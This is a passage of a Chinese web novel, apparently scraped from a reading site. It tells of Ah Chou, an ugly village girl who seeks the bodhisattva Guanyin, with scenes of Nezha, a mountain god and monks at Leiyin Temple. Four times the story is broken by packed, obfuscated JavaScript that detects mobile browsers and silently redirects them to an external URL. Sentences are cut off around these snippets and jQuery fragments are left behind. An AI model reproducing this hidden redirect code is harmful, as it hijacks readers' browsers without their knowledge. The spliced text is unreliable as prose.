英娘噎了一下与她解释,说:“天下不太平,自家能吃饱就行没有闲心帮别人,我……我们肯定是可怜你的,你听了不要生气,你从小长得丑实在吓人,小时候还遇到老光棍欺负,又被爹娘抛弃……怎么会不觉得可怜呢,只是……” 只是,嘴巴说一句可怜简单,要去“怜”人就太难。 听到数落样貌丑陋,阿丑没生气,反而仔细琢磨起来。 同样是觉得她可怜,别人无动于衷照旧觉得她可怕,但是老婆觉得她可怜会真的帮她,和自己生活在一起也没觉得她丑陋可怕。是因为神仙吗,神仙所以不觉得她丑吗? 阿丑摸了摸自己的脸,明白了!人和神仙不一样,所以人觉得她丑,神仙恰恰相反,或许她这面貌在神仙看来就是极好的! 这么一想,突然就再也不担心有人能抢走自己的老婆了。 因为这个世界上根本没有人能比自己丑!在神仙的眼里,自己就是最最最最好的! “桀桀桀——”阿丑高兴得笑起来,吓得英娘退开两步。 吃饱了的阿丑照旧去鸡窝掏走了两颗鸡蛋,回到家后坐下来继续等老婆回来。 之后的日子里,英娘时不时会来送点吃的来,阿丑毫无心理负担地接受着,久而久之,阿丑问:“英娘,你可怜我,又开始给我东西,难道,你也想做我老婆吗?” “……”英娘语塞,只能努力去习惯阿丑的奇怪想法,“你都夸我像菩萨了,我不能不管你。” 并且为了安慰阿丑,英娘找村镇里参加过考验的人略学了些经文,与阿丑说:“你说菩萨回雷音寺找佛祖了,嗯既然是祖,应该是长辈吧……是回了娘家,没准长辈不同意这门婚事被扣下了,因此迟迟没有回来。” 阿丑恍然大悟,说:“你说的有道理,那我得去雷音寺找他!” 家里没有什么可以收拾的东西,只有一罐子钱,她抱着罐子就打算去找雷音寺。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599088|171990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被蛇拦住了,蛇说:“你知道雷音寺在哪吗?” “不知道。”阿丑想了想,这村镇里把经文背诵最熟悉的是那个讨厌的儒生,兴许他知道雷音寺在哪。可之前被骗去吃饭,闹得很不高兴,根本不想再见到那人。 为了找老婆回家,只能忍一忍了。 阿丑去了儒生家里,眼睛瞥向其他地方板着脸把自己要去雷音寺的事情说来,让他想想雷音寺在哪。 如果没有阿丑,唯一背诵了完整《妙法莲华经》的儒生就能娶到菩萨变的漂亮渔女,借此机会得到更好的发展,自然心里记恨。儒生仔细一想,却应下了阿丑的求助。 他说:“哦,通常回娘家的媳妇,若是家中不同意婚事,会被长辈关禁闭。菩萨道场在南海落伽山,比雷音寺近多了,你去落伽山找,不是更方便吗?” 阿丑惊喜,又问:“南海落伽山又是在哪?” 儒生说:“你坐上船出海,一直向南就能找到了。”小渔村没有渔夫会愿意带阿丑出海,阿丑一定会自己出海,开春时节的海面不平静,随便一个风浪小船就会翻掉,而阿丑从小好吃懒做,不种地也没有捕过鱼,是不通水性的。 “没想到,你还挺好的。”阿丑听完嘀咕了句,便跑去海边找渔夫借船。 老船夫虽讨厌阿丑,可靠海生活的人把船看得很重要,不会为了害人而把自己吃饭的渔船给弄没了。 老船夫说:“这船太小了,去不了太远的地方,必须有很大很大的船才行,也许,只有皇帝的船才能到落伽山吧。” “皇帝?”阿丑对这个称呼很是陌生。 “是啊,秦王统一天下了,以后最大的那个人就不叫秦王了,叫皇帝。” 阿丑不懂那些,大多数老百姓都不懂。 之后的日子里阿丑试着找村里的人打听去找皇帝的路,她想问皇帝要一艘船去落伽山。 消息还没有打听到,村子突然发生了翻天覆地的变化。一统天下的皇帝对各地进行了改制,即使是偏远的小渔村也不例外,只是山高路远,到今日命令才传来。 村镇里安排来了官吏,颁布了律法,村民们的脸上浮现了古怪的笑。 阿丑不知道这和以往的生活有什么不用,她摸索去英娘家,想问她为什么很久没给自己送吃的了。 阿丑翻窗进到英娘家里,看见英娘生病了卧床不起。 “阿丑,我病了要休息,我家里有些米,你自己烧着吃吧。” 但阿丑不会做饭,说:“我去偷些吃的,嗯,我会分你一些的。” “别,别去……”英娘想要阻止,阿丑已经跑远了。 那些惧怕阿丑是恶鬼,怕她会报复的村民们,突然就不怕了。 阿丑的手刚从谁家灶膛里偷走一个山芋,就被那户人家按到了街上,喊来了主持律法的官吏。既然是依照律法判决,阿丑就算要报复,所谓冤有仇债有主,也该是去找定制律法的人报仇,和他们这些普通村民是无关的。 外来的陌生官吏拽着阿丑的手放到街道中间新安置的一个木桩上,宣布说: “按大秦律法,有前科多次偷盗不改者,剁手。” 8. 离开渔村 附近村镇的人们听说阿丑偷东西被过来执行律法的游徼按在街头,将要当街剁手,纷纷都去围观,一个个心中叫好。 阿丑的手被死死按在木桩上,她平日里偷抢东西没人敢阻拦是惧怕她丑陋的面貌,常年吃不饱的身躯力量有限,根本挣不开。 她盯着自己因被按住而涨红发紫的手,视线缓缓移到按着自己的粗糙大手上,她愤怒地说:“如果我少了手,别人也得少一只手。你剁了我的手,我也要剁了你的手。” “哟哟,小贼还敢威胁我呢?”执法的游徼另一只手拽住阿丑的头发往后拉,酝酿了一口唾沫想要吐在犯人的脸上以作羞辱。 没有整理的头发往两边滑开,露出一张丑陋惊悚的脸,一双浑浊的眼睛恶狠狠地盯着他。 游徼吓得一哆嗦,紧张得差点被自己的唾沫噎住,这张如同恶鬼的脸庞只看一眼都觉得心悸,仿佛今晚就会被恶鬼纠缠拖下地狱。 游徼艰难地咽下唾沫,不愿意承担被恶鬼记恨的风险,试图说服阿丑认罪伏法:“你偷东西被当场抓住,又被告发屡有前科,更犯过抢劫罪,剁手已经是从轻了。我……我是按律行事,你瞪我也没用……” “我如果不偷东西,会饿死,为什么你们都想要饿死我呢。”阿丑念叨着,想到了很早就抛弃自己的爹娘,在她逐渐长大的那些年里,他们不止一次欺骗她家里没有粮食了,然后背地里给哥哥吃的。 阿丑从小就知道怎么判断有没有粮食,对着哥哥肚子打一顿,总能吐出不少米粥,就说明家里藏着吃的。 爹娘带着哥哥离开小渔村后,阿丑饿得快死了,去问别人要吃的,他们也不给她东西吃,所以她只能去偷,去抢。 那时候她就明白一件事,想要的东西不要求人给,要直接拿。 “你手脚健全还偷盗?如果不剁了你的手,你下次还会继续偷。”游徼逐渐冷静下来,再次依法执行。 围观众人里,儒生欲言又止。按照儒家理念,以仁义治世,秦皇帝则以法家为主,讲究完全的以法治人,不问犯法的原因,只看犯法的行为。如果换做被执法的是别人,他或许会拉着围观乡邻们一起求情,这里山高路远皇帝不知道,没人告发徇私就是没徇私。 但被执法的是阿丑,所以他什么也不说。 “总之啊,你别怪我,律法是皇帝定的,事情是你犯的。”游徼再次申明。 “没有了手,我也会饿死的。”阿丑自言自语,越想越生气,砍掉她的手不就是要杀了她吗?她的日子才开始变好,她还要去落伽山,去雷音寺找那什么佛祖理论……万一哪天老婆回来,听到她是因为偷东西被杀了,该多难过呀。 阿丑挣不开手,干脆张大了嘴巴狠狠一口咬在按住自己的手上,嘴里顿时全是血腥味。 “啊——”游徼惨叫一声松开手,手臂上霎时血肉模糊,竟硬生生被她咬下一块肉,“你……你……” 满嘴是鲜血的阿丑看上去更可怕了,她眼疾手快抢过木桩上的厚背刀,恶狠狠地盯着游徼,说:“你要杀我,那我就杀你。” 游徼捂着伤处连连后退,脸色惨白说:“我不杀你,我只是……不,手我也不剁了,你走吧,你无罪。” 围观的乡邻们更是作鸟兽散,尤其刚才被偷了山芋将她押送到游徼手里的那户人家,已经跑回家中门窗紧闭了。 阿丑将刀扔在地上,信了游徼所说的无罪,随意翻进街边的一户人家,掏走两颗鸡蛋回家去了。 回家之前,先去找了英娘,答应过要把偷来的东西分她,所以留了一个鸡蛋给英娘。 英娘见她满嘴是血询问发生了什么事,阿丑便将事情如实道来。 “阿丑,你快些逃吧,我听说律例严苛,不会就这么算了。他说你无罪,只是因为当时怕你手里的刀,等他找了同伴来抓捕你,必定将你绑起来剁手。”英娘还病着,经过和阿丑这些时日的相处,她明白阿丑不是天生就坏,可等她意识到这一点的时候已经太晚了,阿丑已经学坏很多年了。 阿丑本就想离开小渔村去找皇帝要大船,如今又差点被皇帝定的律法给剁手,她心里很是记恨。 离开英娘家的时候,阿丑下意识顿足回头看了一眼,英娘明明不是自己的老婆,但为什么也有一种和老婆分别时类似的感觉——因为知晓见不到而产生的微微难过。 阿丑折返回到英娘的病床前,问:“英娘,你告诉我为什么?为什么我和你分别,也会觉得不高兴呢?” 英娘笑了起来,说:“或许你把我当朋友了,这种感觉叫舍不得。一个人的心有限,给了亲人一部分、爱人一部分,也可以给朋友一部分。你有一小块给了我,所以我们分别的时候,心就不完整了,就会难过。” “啊?”阿丑理解不了这样的比喻,皱眉说,“那你能还给我吗,我不能这样不高兴地走。不对,我没给你呀,是你偷的?你也偷东西?” 英娘摇头,这要解释起来太久,阿丑不能逗留在这,于是英娘拍了拍心口,又抬手拍了拍阿丑的心口,说:“还给你了,你放心去吧。我会记得你这个朋友的。” 虽然不知道英娘是怎么办到的,但她做出了这个举止后,自己真的觉得舒坦了很多。 阿丑回到了小茅屋,带上那个装满了钱的罐子,还不知道该往哪边走,先离开小渔村吧。 “阿丑,等等我们呀!” 还没走两步,家里的老鼠和蛇就跟了出来,蜘蛛也站在老鼠的脑袋上,三个小动物急匆匆,它们还想继续修行呢,若是离了阿丑,还沾谁的光。阿丑要找菩萨,它们也要,自然是顺路的嘛! “好吧。”阿丑答应带着三个动物一起走,一脸认真地说,“我拿不了太多东西,没带任何吃食,你们跟着也好。” “……”老鼠立刻叫了起来,“你,你怎么还想把我们当储备粮!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604998|171990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 而且还是会自己走路跟随的储备粮,想的可真美! 一人三个动物离开了小渔村,却不知道该往哪个方向去。阿丑指了指不远处的山,说:“山那么高,一定能看得很远,我们去山上。” 阿丑一路小跑来到山脚下,突然就撞到了一面看不见的墙,因此摔倒在地。她揉着额头看向刚才的位置,竟有一个穿着粉色花瓣衣、绿色短裙、光着臂膀和双腿的漂亮女孩,脖子里斜挂一个亮闪闪的金圈,脚悬浮在两个冒火的圆滚滚东西上,手里拿着一柄金灿灿的尖枪。 阿丑顿时就被那些金灿灿的东西吸引。 然而,那漂亮女孩一开口,声音却似个年轻男孩,而且表情威严,语态高傲。 “妖孽,你以为跑到东海来,我就找不到你了?又想害多少人?” 阿丑左右看看,没看到其他人,应该是在和自己说话?像是来抓自己的。 “我只偷过东西抢过吃的,没害过人,是那人先要剁我手,我才咬了一口,也没剁他手呢。”阿丑已经在观察逃跑的路线,她罐子里菩萨给的一小块金子都沉甸甸的,这个漂亮女孩却能单手拿起那么重一把金枪,肯定很厉害,要是被抓住可就完蛋了。 对方听后觉得不太对,从冒火的圆滚滚上走了下来,疑惑道:“咦?你不是妖怪?” “我是人。”阿丑简单回答。 对方走近绕了一圈,又凑到跟前端详,疑惑地说:“没有妖气,真的是人,你怎么会是人呢?” 阿丑早就听惯了恶鬼妖怪的辱骂,根本不觉得难过,从话语里捕捉到一些信息,反问:“你是来抓妖怪的,那你是神仙吗?你认识菩萨吗,观世音菩萨。他是我老婆,他不见了,你知道落伽山怎么去吗?你知道雷音寺怎么走吗?你知道他还好吗?那个佛祖,是不是很坏?” 对方被噼里啪啦问了一串问题,惊讶道:“你胡言乱语什么呢,你说菩萨是你老婆?怎么可能?” 阿丑便将渔女招亲一事道来,自己是如何通过考验的也简单说了下。 “哦~原来如此啊。”对方笑了起来,又问,“既然要留下度你,为什么又走了呢?是不是你犯了什么过错?” 阿丑不确定,心想眼前这人既然是神仙,也没什么好隐瞒的,便说:“那天他给我生了两个孩子,但被我不小心弄死了,他说去请示佛祖,一天就回来,可是至今没有回来。” “……谁生的?”对方露出一副目瞪口呆的表情,逐渐转为质疑,“这怎么可能!” “这对神仙来说,不是很简单吗?” “哪里简单了……” 阿丑比划了一下,说:“屋外的雪飞到他手里,这样捏了两下,我们的孩子就生了。” “哦……”对方长舒一口气,明亮的大眼睛里有些狡黠,说,“我的确知道落伽山怎么去,不过得等我先抓了妖怪再告诉你。你就在这山下等我,我去去就回!” 9. 焚香祷告 话音落地,那个穿着花边短裙的漂亮女孩就踩上冒火的圆滚滚作势转身将要离开。 这么一个翻身踩上圆滚滚的动作,扬起一阵风,风里带着淡淡的香,很熟悉的香,清幽宁静。 阿丑拽住了这个漂亮女孩,正想开口询问又停顿了一下。她之前因一个眼神误认英娘是菩萨变的,眼前这个神仙眼神不同,是格外正直带着怒火的眼睛,绝对不是老婆会有的眼神。 但是,眼神是能改变的,身上的气味改不了,阿丑思索片刻问:“老婆,是你吗?你变成了这个样子考验我?” “……我?”漂亮女孩指了指自己,疑惑但又觉得有趣,自己是只杀不渡的雷霆,菩萨是只渡不杀的慈悲,这凡人姑娘是怎么把完全相反的两个人误认为一个人的? “你的凭据是什么呢?”漂亮女孩看了眼小渔村方向,那妖怪还蛰伏着,村民们暂时没有危险,且逗一逗菩萨的……丈夫!哈哈哈哈哈! 阿丑以为自己猜对了,说:“你身上总是很香,是我在渔村从来没闻到过的香。” “我们神仙,身上都是有香火的气味的。”漂亮女孩手腕一转,手里就出现了三根线香,递到阿丑面前,说,“你闻闻,是不是这个?” “对。”阿丑点头接过那三根线香,又说,“还有一个香味,很淡。”也是渔村从来没有闻到过的香味,因此具体不出名字。 很淡?渔村没有的,自己和菩萨都有的香味。 漂亮女孩思索了好一阵,恍然大悟道:“哦!你是不是说这个味道。”手腕一翻,手中捏一支莲花,散发出淡淡荷风莲香。 阿丑接过莲花闻了闻,的确就是这个清香,她眨了眨浑浊的眼睛,突然想到了什么,问:“妙法莲花经,就是这个花吗?” “妙法莲华经,你说这几个字的时候声音怪怪的。”就像是一个字都不知晓该怎么写,也不知晓每个字词的意思,只是简单复述一遍听到过的声音。但她刚才说将完整的全七卷都背诵了下来,不至于不识字吧。 “妙,法,莲,华,经。”阿丑一个字一个字按照印象里老婆诵读时的标准语调又说了一遍,然后盯着对方问,“难道这个味道,也是所有神仙都有的吗?” “是,也不是。常坐莲台的神佛,身上便有莲花的香味,像我这样到处降妖除魔的神仙就没有。” “可是你也有。” “因为我本身就是莲花。” 阿丑仔细想,听老婆说过他有一池莲花,还说过莲池里的锦鲤听多了经文也开了灵智,她盯着漂亮女孩问:“你是菩萨莲池里的莲花吗,你是莲花神?” “哈哈哈,还有不认得我的人?我说本是莲花,因为莲藕一体,我如今的肉身是莲藕重塑的。” 漂亮女孩说着抬了抬踩着冒火圆滚滚的脚,说:“这是风火轮。”手里的金枪和脖子里斜挂的金圈也都有名字,“这是火尖枪,乾坤圈。”又轻念咒语,腰间红绸展开化作披帛一般挂在手臂上,“这是混天绫。” 这样,还认不出是哪位神仙吗? 阿丑眼里只有金灿灿,都是金子,都是钱,是可以过上好日子的代表,因此问:“都是给我的吗?” 对方错愕道:“……不是。” “不是给我的,却又给我看,那就是炫耀我没有的东西。为什么神仙也会这样……和那些讨厌的人一样,你更可恨,因为我偷不走神仙的东西,你永远都比我多这么多金子。” “我……”漂亮女孩噎了一下,自己绝非是炫耀之意,行走人间降妖除魔多年,的确从未遇到过不认得自己的人,即便是三岁孩童,瞧见风火轮混天绫也能猜到尊神名讳,那个故事家喻户晓,长辈们都会和孩子说的呀,代代流传至今。 因此展示这些物件,也如长辈逗弄孩子,待对方惊喜答出身份再笑着应下正是我。 “嗯……”漂亮女孩沉吟,默认凡人都该知晓自己名讳,是否是神仙当久了的一种傲慢?而且,随着自己年纪一岁岁增长,都快一千岁的神了,年幼时的事迹其实也并不是那么喜欢总被人说,但因为人们总那么说,所以自己也习惯了。 漂亮女孩挠挠头,且当自己也是个普通人,认识一个寻常的陌生人,说:“好吧,我叫哪吒,不是菩萨变的。我来东海是追踪一个偷盗仙丹的妖孽,它法力大增伤了不少人……啧。”说时察觉到小渔村那边妖气逐渐增长,立刻严肃起来,说,“你在这等着,一会再和你说菩萨的事。” 哪吒转身就走,脚下风火轮飞快,化作一道赤红色的火光就不见了踪影。 直到周围再次安静下来,躲在阿丑身后的蛇老鼠和蜘蛛才敢探出脑袋来。 “这神仙好可怕,我只看一眼就发抖。”老鼠说话的时候胡须仍在抖个不停。 蛇也嘶嘶不断吐着信子,说:“我刚才都不敢动,一种莫名的力量让我喘不过气,真的是神仙吗?和菩萨的感觉完全不一样。” 最渺小的蜘蛛八只眼睛混乱地晃动,好像已经有点死了。阿丑将蜘蛛放到自己手里仔细看,念叨着:“你肉好少。” “我……我还没死呢!”蜘蛛逐渐恢复了过来,不知道是被阿丑的话吓活的,还是因为阿丑的这双手曾捧过最慈悲的眼泪。 既然那个叫哪吒的神仙知道怎么找到菩萨,阿丑便依言在山脚下等着。 她手里还拿着哪吒递来的线香和莲花,好奇地问三个小动物:“我这样是不是也有香味,我像神仙吗?” “不像,神仙都是很漂亮的。” “哦。” 对于陈述事实,阿丑是从来不恼的,如果换做是“你那么丑还想当神仙呢也不照照镜子”这种语调难听,心里会很不舒服的话语,则会很记恨。 阿丑随意坐在地上,盯着手里的东西自言自语:“这个是花,这三根香的又是什么东西,它们看上去随便一碰就会断,在我的手里发抖。” “呵呵呵。”一个苍老的笑声响起,地面缓缓浮出一个拄着拐杖的老者,是已经旁听许久的山神。 山神说:“它就叫香,你可以将它焚烧,供奉到你想要供奉的神像或者牌位前,神仙就能听到你说的话。但如果你想供奉菩萨的话不行,如今南蟾部洲没有菩萨的神像和牌位,刚才在这的哪吒三太子倒是有几座庙宇,或者像我这样的土地神。” 阿丑摇头,这么神奇的东西只有三根,一定很珍贵很难得,用来供奉自己完全不知晓的神仙太浪费了。 她说:“那我捏一个神像。”就像菩萨捏了雪人,或者是女娲捏了人。 说干就干,阿丑随手用泥土在手里搓捏,努力捏出了一个人形,姑且算是人形吧。 “……”山神摇头,“你把这当神像,完全是亵渎神灵。” 阿丑不觉得, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617002|171990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“老婆说他有众生万相,无相既有相,我看着挺像的呀。牌位是什么,要怎么做?” 山神被她的话噎住,竟无法反驳,讷讷回答说:“你找一块木牌或者其他东西,上面写上菩萨的尊称就可以了。” 阿丑找不到木牌,就随意拿了一块石头,说:“你会写字吗?我不会写字。” “……”山神虽无语,但也好奇,如此……如此……呃,如此古怪的牌位能达到供奉的效果吗?便从袖子里掏出一支笔,在石头上写下尊讳,又拾起一根树枝引燃,递给阿丑点燃线香。 袅袅烟火如云雾,遮眼飘渺如窥幻境。 阿丑扇散缱绻的烟雾,很快烟雾又聚拢成丝带缓缓上升,她看着烟雾出神,试图从烟雾里找到自己的老婆。 山神说:“不是这样的,你要跪在神像……”把这一团泥巴说成是神像,感觉自己也在亵渎神灵,“总之跪下,磕三个响头,才是诚心供奉。” “老婆在家的时候从来没让我给他跪下磕头,他说众生平等。你一定胡言乱语,想让老婆责怪我不记他的话。” 山神不说话了,尤其受不了这丑姑娘一口一个老婆地称菩萨,随她吧,反正这样毫无诚意的神像牌位,是起不到任何供奉的作用的。 阿丑将泥巴团放在莲花上,觉得更好看了,她一手拈花注视泥巴,一手拿着香,说:“老婆你能听到吗?我好想你呀,冬天没了炭火我又好冷,现在天气暖和了,但我的心不像你在的时候一样暖和,你要是回来,我就会暖和了。老婆你能听到吗?我现在不是快饿死不会一直偷东西,他们要剁我手,我都没有剁他们呢,只轻轻咬了一口。老婆你能听到吗?那两个孩子我不是故意弄死的,等你回来再生两个,我一定仔细再仔细。” 一直到香燃烧尽烧痛了手松开,也没有得到任何的回应。 山神原本备着话说这个不诚心所以菩萨不会有回应,但脑海里已经被那句“等你回来再生两个”震惊到,张着嘴说不出一个字来。 西天净土,祥云缭绕。 金佛常坐莲台教诲众僧弟子,即便法会结束也仍旧有很多留在座上聆听佛法的僧人。 观音回到雷音寺,与佛祖说到阿丑一事,为混沌纯粹生灵,若能引入正道必有大造化。自己普度千年,头一次遇到难题,也知是自己境界不够,因此想告假几日也算专心修行,每日的佛法交流便不参与。 “既未真圆满,贫僧所言便可能误导僧众,故而告假。” 佛祖点头批准,又与众僧说观世音名字由来,正是观听世间一切宏愿祈求,揽众生想,由此而名。但愿每个佛家弟子都该如是,修自身而听世间众生的声音。 而当尊者在人世,则称观音居多,世人皆在心中,便不必强调有世。 “小僧愚昧,请见大士尊法。”座中有僧众请求。 观音点头应下,柳枝一挥,祥云奔来缱绻成一朵莲花,莲花绽放,上面映出众生相。 “请菩萨赐我一儿半女,我愿意供奉一头羊!” “菩萨保佑我发财,等我有了钱,给你塑金身!” “药石罔效,求菩萨发发慈悲救救我孩子。” 在西牛贺洲信众虔诚哀求中,陡然出现一个南蟾部洲者,面貌丑陋恐怖,声音与所言也和其他信众完全不同。 “老婆你能听到吗?我好想你呀……” 10. 阿难尊者 大西天诸天极乐之境,如来讲法,菩萨诵经,正是红尘不到诸缘尽,万劫无亏大法堂。 悬浮的莲花上赫然出现一位丑姑娘,竟称观音菩萨为老婆,呢喃着着红尘念想。座中僧众纷纷面色微变,有人被吓到,有人交头接耳,将此变故看做热闹,更有甚者心里已经质疑起菩萨。 ——观音大士怎么嫁给了一个妖怪? 然而,观音面色平淡并无变化,只在最初看见时有些惊讶,惊的倒不是她所说的言语,惊竟会是她在南蟾部洲塑下第一个观音神像。 莲台上的金佛同样面色平淡,对莲花中所浮现景象都一视同仁,当视线扫过众僧时才展露出少许失望。皈依佛门的僧众,当看到姑娘称菩萨为老婆时,第一反应不是菩萨为渡人而做出不寻常的事,竟觉得菩萨六根未净。 小声议论了几句的僧众视线扫过菩萨与金佛,平淡的眉眼里包罗万象善恶,自然也容得下无知者的念想。 “……”众僧脸色一白,自知谬误,竟以世俗心看热闹。 佛陀已失望闭目。 一名僧人率先离座,来到观音面前拜下道:“弟子愚昧,请菩萨赎罪。”很快,其他僧人也都过来一一拜下,他们虔诚磕头,高呼尊称,他们,也有所求。 求不要怪罪,不要浪费今生的苦修。也是外求的圆满,故而,他们越祈求,佛陀越失望。 这些新登极乐的僧众将因听经辩法时不诚心而被佛祖打入尘世苦行,圆寂登天者会因此再入轮回历劫修炼,是为,轻慢佛法。 佛祖金口轻启,菩萨从莲台走下。 “阿弥陀佛。”观音慈悲,与佛祖解释,实则是为众僧求情,指着莲花中丑陋恐怖双目浑浊的人说,“这位姑娘便是阿丑,通过了竹篮打水考验之人,她本性不坏,有慧根。诸僧皆是人间来,也知人间疾苦。” 说时拈指翻腕,手中便提着一只竹篮,道:“佛祖,贫僧想请诸僧以竹篮打水,辩证修行。”阿丑是如何打水的,此事只有文殊普贤灵吉告知,佛祖全知应当也知,众僧是不知的。 若能通过者,心境大成,一时议论乃无心。若不能通过,心境不足,妄议他人,诋毁佛法,自该受罚。 “善哉。”如来应下,由尊者自便。 观音带着众僧来到灵山后山莲池,一朵朵金色的莲花璀璨夺目,第一次来灵山的僧人们哪见过这景象,霎时便有一半人被迷了眼走不动路。 菩萨轻叹,弹指间,那一半僧人便落入凡尘再苦修百年。 剩下的一半依次提着竹篮尝试打水,竟全都无人能办到,也要入轮回去。 临走前,一僧实在好奇,请求大士告诉正解。 观音菩萨来到池塘边,既是正解自然是出题者的方法,便说:“善心宏愿以感生灵。”说时将竹篮放入水中,等着池中的鱼儿受到佛法感召游过来,游动时鱼蹭到竹篮,鳞片会被剐蹭掉糊在竹篮的网孔上…… 随意抬眸时,看见一个脸上有鳞片的小沙弥坐在池塘边打坐。 菩萨愣住,阿丑的办法和自己的办法原理是一样的,这是之前就知晓的。但今日灵山莲池里的鱼修成了人形,池塘里便没有鱼了。 此时才明白自己和阿丑的办法,其实天差地别。 若无法力,鱼儿怎会来相助?若池塘里的是螃蟹而不是鱼,又该如何打水?这些都是外求。 而四季轮转,冬天一定会来,她耗自己的时间,是为内求。 “哎呀。”坐在莲池边上才化人形的金鱼小沙弥惊呼一声,表情吃痛地拔下身上一片被磕坏的鱼鳞,然后跳入水中又化作鱼休养生息。 “……”菩萨看着莲池的水纹,心里也泛起了涟漪。 鱼不会说话,感召佛法相助,碰到竹篮被刮下鳞片也不会喊疼。 水结成冰,冰是水也不是水,本为一体,以冰打水…… 菩萨眉眼柔和带少许欣慰笑意,阿丑,真的很特别。 “善哉。”菩萨轻叹一声,将空荡荡的竹篮从莲池里捞起来,等着正解的僧众们更一头雾水。但因为他们对佛法的求知,得了这个宽恕的机会。 菩萨柳枝一扫,每个僧侣的手中都出现了一个竹篮,说:“不借生灵俗物外力,你们若能打起一篮水,便免去轮回责罚。” 众僧应下,又问此次考验需在多久之内。 菩萨缓缓道:“直到可以为止。” 若一个凡尘无知的姑娘都能轻易想到的办法,入西天极乐境的得道高僧们却勘不破其中玄妙,将来又如何去普度众生。 雷音寺大雄宝殿里,佛祖仍旧端坐莲台,是为不动明王。佛祖眉眼平淡,视线落在敞开的大雄宝殿外。 本该在藏经阁的阿难尊者走来,似有事请教,犹豫片刻说:“佛祖,弟子已反思,仍不服。” “你且道来。” 阿难不服,人分善恶,事有黑白,因此世上就一定存在不悔改、不可度之人。观音大士行走世间千年,未能渡尽苦厄。地藏菩萨在地狱亦如此,渡不尽恶鬼贪求。此与度化者诚心境界无关,只因有的人,就是不可度。 如来合目,叹息道:“阿难,阿难,执念已生,你就该有劫难了。去吧,去人间走走。” “是。”阿难双手合十应下,带着一肚子的疑惑不满往人间去。 佛家主要是在西牛贺洲修行传布,阿难想到观音大士总在南蟾部洲,而且如今就有一个不容易度的人,便打算去看一看,或者说试一试,大士度不了的人,自己能不能度。如果自己度不了,大士能度,自己愿虔诚求学,跟随修行。若大士也度不了,便应了自己观点。 南蟾部洲,多杀多争。此为佛祖所言,真到此地所见,也是如此。 混乱的天下六合清整,一统为秦,可百姓们好像更痛苦了。 东海之滨的渔村外,高高的山下。 阿丑不知道天上发生的事情,只知道自己诚心的请求没有得到回应。 山神说她不够诚心,所以得不到回应是正常的,得塑造金身才有诚意。 “金子?”阿丑只有罐子里一小块,还是菩萨给的,她立刻摇头否认山神的说法,“不,老婆又不缺钱,怎么会需要金子呢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621249|171990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你瞧,这是他给我的。” 山神见说不通,也不再多言。 阿丑则坚信自己很诚心,说:“他肯定听到了,我有感觉,他听到了。但他为什么不回答,也不回来。老头,你告诉我,会不会是那个佛祖拦着不让他走?英娘说,回了娘家的人如果不回来,多是家里不同意。” “……”山神哭笑不得,说,“谁能拦住菩萨呢,佛祖虽为众僧祖师,但对菩萨多有尊敬,绝不会拦着的。” “是他自己不想回来?为什么呢,我吃的也不多呀,何况,都是我自己偷的,没有让他帮忙。” “唉。”山神实在是回答不了。 躲在阿丑身后的三个小动物总是很不安,阿丑想要等哪吒回来打听菩萨的消息,可它们实在是害怕那个叫哪吒的,万一阿丑还要让哪吒带路,或者一起去找菩萨,它们可要吓死了。 三个小动物试探地问山神,说:“山神,那个叫哪吒的神仙,为什么那么可怕呢?” “哦?”山神对小动物很友好,原本被噎住无奈的表情也换成了笑脸,弯腰看着三个小动物。 “你们三个小家伙虽开了灵智会说话,却只能算妖怪,在修成人形飞升成仙之前,都摆脱不掉妖的身份。而哪吒和其他神仙最不一样的就是,他是天生的杀神,只杀不渡。妖怪见了杀神,自然是害怕的。” “只杀不渡……”阿丑嘀咕着,想起刚才哪吒说是来追捕一个偷了仙丹的,而自己是个偷了无数东西的人,老婆就总劝她改了这习惯,因为老婆从不杀生,说想要渡她。这个只杀不渡的杀神,等杀了偷东西的妖怪,会不会回来杀自己? 被执法的人杀,还能鱼死网破砍回去,被神仙杀,岂不是只有等死的份?这个叫哪吒的,果然很讨厌,又是炫耀那么多金宝贝,又是个杀神。 